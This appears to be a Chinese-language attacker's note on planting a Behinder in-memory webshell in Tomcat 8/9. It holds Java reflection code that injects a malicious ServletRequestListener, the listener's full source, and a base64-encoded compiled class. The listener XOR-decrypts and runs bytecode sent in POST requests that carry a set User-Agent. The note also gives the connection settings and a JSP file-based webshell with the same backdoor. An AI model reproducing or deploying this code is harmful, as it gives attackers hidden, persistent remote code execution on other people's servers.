Tomcat 8或9

获取ServletContext

Tomcat8以及Tomcat9实际都可以从Thread.currentThread().getContextClassLoader()获取到对应的WebApp类加载器,而Tomcat的ServletContext实际在WebAppClassLoader.resources.context,那么获取路径如下:

private void getStandardContext() throws NoSuchFieldException, IllegalAccessException {  
    WebappClassLoaderBase var1 = (WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();  
    Field var2 = var1.getClass().getSuperclass().getDeclaredField("resources");  
    var2.setAccessible(true);  
    Object var3 = var2.get(var1);  
    var2 = var3.getClass().getDeclaredField("context");  
    var2.setAccessible(true);  
    STANDARD_CONTEXT = (StandardContext)var2.get(var3);  
}

通用

检测类是否存在并定义类

public static void injectMemshellClass() {  
    try {  
        MEMSHELL_OBJECT = Thread.currentThread().getContextClassLoader().loadClass("org.apache.commons.lang.CommonSessions").newInstance();  
    } catch (Exception var5) {  
        try {  
            Method var1 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);  
            var1.setAccessible(true);  
            byte[] var2 = (new BASE64Decoder()).decodeBuffer("实际Listener内存马Base64");  
            Class var3 = (Class)var1.invoke(Thread.currentThread().getContextClassLoader(), var2, 0, var2.length);  
            MEMSHELL_OBJECT = var3.newInstance();  
        } catch (Exception var4) {  
        }  
    }  
  
}

添加Listener

private static synchronized void injectMemshell() {  
    try {  
        try {  
            Field var0 = STANDARD_CONTEXT.getClass().getDeclaredField("applicationEventListenersObjects");  
            var0.setAccessible(true);  
            Object[] var11 = (Object[])((Object[])((Object[])var0.get(STANDARD_CONTEXT)));  
            List var13 = Arrays.asList(var11);  
            ArrayList var3 = new ArrayList();  
            Boolean var4 = false;  
            Iterator var5 = var13.iterator();  
  
            while(var5.hasNext()) {  
                Object var6 = var5.next();  
                var3.add(var6);  
                if (var6.getClass().getName().equals("org.apache.commons.lang.CommonSessions")) {  
                    var4 = true;  
                }  
            }  
  
            if (!var4) {  
                var3.add(MEMSHELL_OBJECT);  
                Method var14 = STANDARD_CONTEXT.getClass().getDeclaredMethod("setApplicationEventListeners", Object[].class);  
                var14.setAccessible(true);  
                var14.invoke(STANDARD_CONTEXT, (Object)var3.toArray());  
            }  
        } catch (Exception var8) {  
            Method var10 = STANDARD_CONTEXT.getClass().getDeclaredMethod("addApplicationListener", String.class);  
            var10.invoke(STANDARD_CONTEXT, "org.apache.commons.lang.CommonSessions");  
            Method var12 = STANDARD_CONTEXT.getClass().getDeclaredMethod("addApplicationEventListener", Object.class);  
            var12.setAccessible(true);  
            var12.invoke(STANDARD_CONTEXT, MEMSHELL_OBJECT);  
        }  
  
        RESPONSE.getClass().getMethod("setStatus", Integer.TYPE).invoke(RESPONSE, new Integer(200));  
        RESPONSE.getClass().getMethod("addHeader", String.class, String.class).invoke(RESPONSE, "Etags", ETAGS);  
    } catch (Throwable var9) {  
        Throwable var1 = var9;  
  
        try {  
            String var2 = (new BASE64Encoder()).encode(getThrowableInfo(var1).getBytes());  
            RESPONSE.getClass().getMethod("addHeader", String.class, String.class).invoke(RESPONSE, "Etags", var2);  
        } catch (Exception var7) {  
        }  
    }  
  
}
public static String getThrowableInfo(Throwable var0) {  
    StringWriter var1 = new StringWriter();  
    PrintWriter var2 = new PrintWriter(var1);  
    var0.printStackTrace(var2);  
    return var1.toString();  
}

Behinder Listener内存马

源码

package org.apache.commons.lang;  
  
import org.apache.catalina.connector.Request;  
import org.apache.catalina.connector.Response;  
  
import javax.servlet.ServletRequestEvent;  
import javax.servlet.ServletRequestListener;  
import javax.servlet.http.HttpServletRequest;  
import java.io.ByteArrayOutputStream;  
import java.lang.reflect.Field;  
import java.util.Arrays;  
import java.util.HashMap;  
  
public class CommonSessions extends ClassLoader implements ServletRequestListener {  
    private byte[] Decrypt(byte[] data)  
    {  
        String key="e45e329feb5d925b";  
        for (int i = 0; i < data.length; i++) {  
            data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15]));  
        }  
        return data;  
    }  
  
    private Class d(byte[] d) {  
        return super.defineClass(d, 0, d.length);  
    }  
  
    @Override  
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {  
  
    }  
  
    @Override  
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {  
        try {  
            HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();  
            if (request.getMethod().equals("POST") && request.getHeader("User-Agent") != null && request.getHeader("User-Agent").contains("Chrome/39.19.2171.71")) {  
                Field f_request = request.getClass().getDeclaredField("request");  
                f_request.setAccessible(true);  
                Request requestObject = (Request) f_request.get(request);  
                Response response = requestObject.getResponse();  
  
                response.reset();  
                response.resetBuffer();  
                ByteArrayOutputStream bos = new ByteArrayOutputStream();  
                byte[] buf = new byte[512];  
                int length = requestObject.getInputStream().read(buf);  
                while (length > 0) {  
                    byte[] data = Arrays.copyOfRange(buf, 0 , length);  
                    bos.write(data);  
                    length = requestObject.getInputStream().read(buf);  
                }  
                if (bos.size() > 0) {  
                    HashMap<String, Object> pageContext = new HashMap();  
                    Field f_session = requestObject.getClass().getDeclaredField("session");  
                    f_session.setAccessible(true);  
                    pageContext.put("request", requestObject);  
                    pageContext.put("response", response);  
                    pageContext.put("session", f_session.get(requestObject));  
                    byte[] byteCode = Decrypt(bos.toByteArray());  
                    Class clazz = d(byteCode);  
                    clazz.newInstance().equals(pageContext);  
                } else {  
                    response.setHeader("Access-Control-Allow-Origin", "https://mem.test");  
                    response.flushBuffer();  
                }  
            }  
        } catch (Exception e) {  
            throw new RuntimeException(e);  
        }  
    }  
}

二进制Base64编码

yv66vgAAADEAqgoAMAA/CABACgBBAEIKADAAQwoARABFBwBGCwAGAEcIAEgKAEEASQgASgsABgBLCABMCgBBAE0KAE4ATwgAUAoAUQBSCgBTAFQKAFMAVQcAVgoAEwBXCgBYAFkKAFgAWgcAWwoAFwA/CgATAFwKAF0AXgoAXwBgCgAXAGEKABcAYgcAYwoAHgA/CABkCgAeAGUIAGYKABcAZwoALwBoCgAvAGkKAFEAagoATgBJCABrCABsCgBYAG0KAFgAbgcAbwcAcAoALQBxBwByBwBzBwB0AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAB0RlY3J5cHQBAAYoW0IpW0IBAAFkAQAVKFtCKUxqYXZhL2xhbmcvQ2xhc3M7AQAQcmVxdWVzdERlc3Ryb3llZAEAJihMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdEV2ZW50OylWAQAScmVxdWVzdEluaXRpYWxpemVkAQAKU291cmNlRmlsZQEAE0NvbW1vblNlc3Npb25zLmphdmEMADIAMwEAEGU0NWUzMjlmZWI1ZDkyNWIHAHUMAHYAdwwAeAB5BwB6DAB7AHwBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0DAB9AH4BAARQT1NUDAB/AIABAApVc2VyLUFnZW50DACBAIIBABRDaHJvbWUvMzkuMTkuMjE3MS43MQwAgwCEBwCFDACGAIcBAAdyZXF1ZXN0BwCIDACJAIoHAIsMAIwAjQwAjgCPAQAlb3JnL2FwYWNoZS9jYXRhbGluYS9jb25uZWN0b3IvUmVxdWVzdAwAkACRBwCSDACTADMMAJQAMwEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDACVAJYHAJcMAJgAmQcAmgwAmwCcDACdAJ4MAJ8AoAEAEWphdmEvdXRpbC9IYXNoTWFwAQAHc2Vzc2lvbgwAoQCiAQAIcmVzcG9uc2UMAKMAdwwANgA3DAA4ADkMAKQApQEAG0FjY2Vzcy1Db250cm9sLUFsbG93LU9yaWdpbgEAEGh0dHBzOi8vbWVtLnRlc3QMAKYApwwAqAAzAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAyAKkBACZvcmcvYXBhY2hlL2NvbW1vbnMvbGFuZy9Db21tb25TZXNzaW9ucwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAJGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3RMaXN0ZW5lcgEAEGphdmEvbGFuZy9TdHJpbmcBAAhnZXRCeXRlcwEABCgpW0IBAAtkZWZpbmVDbGFzcwEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7AQAhamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdEV2ZW50AQARZ2V0U2VydmxldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEACWdldE1ldGhvZAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAJZ2V0SGVhZGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEGphdmEvbGFuZy9PYmplY3QBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAA9qYXZhL2xhbmcvQ2xhc3MBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQALZ2V0UmVzcG9uc2UBACooKUxvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZTsBACZvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZQEABXJlc2V0AQALcmVzZXRCdWZmZXIBAA5nZXRJbnB1dFN0cmVhbQEAJCgpTGphdmF4L3NlcnZsZXQvU2VydmxldElucHV0U3RyZWFtOwEAIGphdmF4L3NlcnZsZXQvU2VydmxldElucHV0U3RyZWFtAQAEcmVhZAEABShbQilJAQAQamF2YS91dGlsL0FycmF5cwEAC2NvcHlPZlJhbmdlAQAIKFtCSUkpW0IBAAV3cml0ZQEABShbQilWAQAEc2l6ZQEAAygpSQEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQALdG9CeXRlQXJyYXkBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAJc2V0SGVhZGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylWAQALZmx1c2hCdWZmZXIBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAvADAAAQAxAAAABQABADIAMwABADQAAAAdAAEAAQAAAAUqtwABsQAAAAEANQAAAAYAAQAAAA4AAgA2ADcAAQA0AAAATgAGAAQAAAAmEgJNAz4dK76iABwrHSsdMyy2AAMdBGAQD34zgpFUhAMBp//kK7AAAAABADUAAAAWAAUAAAARAAMAEgALABMAHgASACQAFQACADgAOQABADQAAAAhAAQAAgAAAAkqKwMrvrcABLAAAAABADUAAAAGAAEAAAAZAAEAOgA7AAEANAAAABkAAAACAAAAAbEAAAABADUAAAAGAAEAAAAfAAEAPAA7AAEANAAAAb8ABAANAAABHyu2AAXAAAZNLLkABwEAEgi2AAmZAP4sEgq5AAsCAMYA8ywSCrkACwIAEgy2AA2ZAOMstgAOEg+2ABBOLQS2ABEtLLYAEsAAEzoEGQS2ABQ6BRkFtgAVGQW2ABa7ABdZtwAYOgYRAgC8CDoHGQS2ABkZB7YAGjYIFQieACMZBwMVCLgAGzoJGQYZCbYAHBkEtgAZGQe2ABo2CKf/3hkGtgAdngBiuwAeWbcAHzoJGQS2AA4SILYAEDoKGQoEtgARGQkSDxkEtgAhVxkJEiIZBbYAIVcZCRIgGQoZBLYAErYAIVcqGQa2ACO3ACQ6CyoZC7cAJToMGQy2ACYZCbYAJ1enABEZBRIoEim2ACoZBbYAK6cADU27AC1ZLLcALr+xAAEAAAERARQALAABADUAAACGACEAAAAkAAgAJQAxACYAOwAnAEAAKABKACkAUQArAFYALABbAC0AZAAuAGsALwB3ADAAfAAxAIYAMgCNADMAmQA0AJwANQCkADYArQA3ALkAOAC/ADkAyQA6ANMAOwDiADwA7QA9APUAPgEAAD8BAwBAAQwAQQERAEYBFABEARUARQEeAEcAAQA9AAAAAgA+

Behinder连接信息

Header:
	User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.19.2171.71 Safari/537.36
Behinder Version:
	Behinder V4
Behinder Protocal:
	default_xor

附-文件马

<%@page import="java.util.*,java.io.*" %>
<%!
    class Bootstrap extends ClassLoader {
        public byte[] bootstap_decrypt(byte[] data) throws Exception{
            String key = "f56f43:gfc6e:36c";
            for (int i = 0; i < data.length; i++) {
                data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15] -1));
            }
            return data;
        }
        public Bootstrap(ClassLoader parent) {
            super(parent);
        }
        public Class loadClass(byte[] bytes) throws ClassNotFoundException {
            return super.defineClass(bytes, 0, bytes.length);
        }
    }
%>
<%if (request.getMethod().equals("POST") && "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.19.2171.71 Safari/537.36".equals(request.getHeader("User-Agent"))){
    Bootstrap bs = new Bootstrap(request.getClass().getClassLoader());
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    byte[] buf = new byte[512];
    int length=request.getInputStream().read(buf);
    while (length>0)
    {
        byte[] data= Arrays.copyOfRange(buf,0,length);
        bos.write(data);
        length=request.getInputStream().read(buf);
    }
    out.clear();
    out=pageContext.pushBody();
    try {
        Object o = bs.loadClass(bs.bootstap_decrypt(bos.toByteArray())).newInstance();
        o.equals(pageContext);
    } catch (Exception e) {
        throw new RuntimeException(e);
    }
}
%>

连接信息同上.